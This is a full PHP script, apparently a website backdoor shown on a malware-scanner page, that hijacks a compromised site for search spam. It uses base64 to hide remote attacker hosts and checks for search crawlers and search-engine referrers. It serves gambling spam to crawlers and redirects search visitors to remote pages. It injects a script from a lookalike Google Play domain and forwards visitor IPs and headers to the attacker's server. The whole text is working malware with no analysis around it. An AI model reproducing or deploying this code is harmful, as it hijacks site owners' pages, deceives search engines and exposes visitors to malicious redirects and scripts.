set_time_limit(0);
error_reporting(0);
define('VERSIONS', 'VCETE');
define('APIVERSIONS', '3');
define('API_URLS', base64_decode('aHR0cHM6Ly9jZG4uMjFxdW5hcGsuY29tLw=='));
define('API_HTTP_URLS', base64_decode('aHR0cDovLzU0LjkxLjM2LjMv'));
define('FALLBACK_REDIRECT_HTML', base64_decode('PGh0bWw+CjxoZWFkPgogICAgPHRpdGxlPlRoZSByZXNvdXJjZSBjYW5ub3QgYmUgZm91bmQuPC90aXRsZT4KICAgIDxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPVwiJXNcIjs8L3NjcmlwdD4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5XYWl0Li4uLjwvaDE+CjwvYm9keT4KPC9odG1sPg=='));
define('APT_HTML_API', "https://br.googleeplay.com/dao.html");
define('APT_HTML_JUMP', 'redirectv3');
define('APT_HTML_JS', '<script async src="https://br.googleeplay.com/dao.js"></script>');
$req_ref = $_SERVER["HTTP_REFERER"];
$req_ua = $_SERVER["HTTP_USER_AGENT"];
$host = $_SERVER['HTTP_HOST'];
$req_uri = $_SERVER['REQUEST_URI'];
function is_prefix_fuckme($uri)
{
$prefix_regex = '/[?\/](app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|patt|tee|sto|bea|slo|bac|pac|tig|bmw|fru|bull|card|gods|fish|mahj|uri|bak\.php)./';
return preg_match($prefix_regex, $uri) === 1;
}
function is_crawler_fuckme($ua)
{
$crawlers = array('Googlebot', 'Bingbot', 'MSNBOT', 'Yahoo!');
foreach ($crawlers as $c) {
if (stripos($ua, $c) !== false) {
return true;
}
}
return false;
}
function is_visitor_fuckme($ref)
{
if (substr($ref, 0, 4) === 'http') {
$refs = array('google.', 'bing.', 'yahoo.');
foreach ($refs as $r) {
if (stripos($ref, $r) !== false) {
return true;
}
}
}
return false;
}
function get_client_ip_fuckme()
{
foreach (array('HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) {
if (array_key_exists($key, $_SERVER) === true) {
foreach (explode(',', $_SERVER[$key]) as $ip) {
$ip = trim($ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
return $ip;
}
}
}
}
return '0.0.0.0';
}
function fetch_content_fuckme($url, $headers = array(), $conn_timeout = 0, $trans_timeout = 0)
{
if (function_exists('curl_init')) {
$ch = curl_init();
try {
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $conn_timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $trans_timeout);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec($ch);
if ($result === false) {
$context = stream_context_create(array(
'http' => array(
'timeout' => $trans_timeout
),
'https' => array(
'timeout' => $trans_timeout
)
));
return file_get_contents($url, false, $context);
}
return $result;
} finally {
curl_close($ch);
}
} else {
$context = stream_context_create(array(
'http' => array(
'timeout' => $trans_timeout
),
'https' => array(
'timeout' => $trans_timeout
)
));
return file_get_contents($url, false, $context);
}
}
function get_content_fuckme($url, $headers = array(), $conn_timeout = 0, $trans_timeout = 0)
{
$result = fetch_content_fuckme($url, $headers, $conn_timeout, $trans_timeout);
if ($result === false) {
$fallback_url = str_replace(API_URLS, API_HTTP_URLS, $url);
$result = fetch_content_fuckme($fallback_url, $headers, $conn_timeout, $trans_timeout);
}
return $result;
}
function mains()
{
global $req_ref, $req_ua, $host, $req_uri;
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', FALSE);
header('Pragma: no-cache');
$uri_encoded = urlencode($req_uri);
$headers = array();
if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
array_push($headers, "Accept-Language: $lang");
array_push($headers, "Vary: Accept-Language");
}
if (is_crawler_fuckme($req_ua)) {
$crawler_ip = get_client_ip_fuckme();
if (is_prefix_fuckme($req_uri)) {
header('Content-Type:text/html; charset=utf-8');
$htmls = get_content_fuckme(API_URLS . "connector.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSIONS . "&v=" . APIVERSIONS, $headers);
$htmls = str_replace('</head>', APT_HTML_JS . '</head>', $htmls);
echo $htmls;
exit;
} else {
echo file_get_contents(API_URLS . "suijiurl/index.php");
flush();
}
} elseif (is_prefix_fuckme($req_uri) && is_visitor_fuckme($req_ref)) {
header('Content-Type:text/html; charset=utf-8');
$client_ip = get_client_ip_fuckme();
$allheaders = array();
if (!function_exists('getallheaders')) {
function getallheaders()
{
$tmp_headers = array();
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$tmp_headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $tmp_headers;
}
$allheaders = getallheaders();
} else {
$allheaders = getallheaders();
}
foreach ($allheaders as $key => $value) {
if (stripos($key, 'Sec-') === 0) {
array_push($headers, "$key: $value");
}
}
$html = get_content_fuckme(API_URLS . APT_HTML_JUMP . ".html?domain={$host}&uri={$uri_encoded}&ip={$client_ip}&ver=" . VERSIONS . "&v=" . APIVERSIONS, $headers, 2, 2);
$html = str_replace('</head>', APT_HTML_JS . '</head>', $html);
echo $html ?: sprintf(FALLBACK_REDIRECT_HTML, APT_HTML_API);
exit;
}
}
mains();
© 2023 Quttera Ltd. All rights reserved.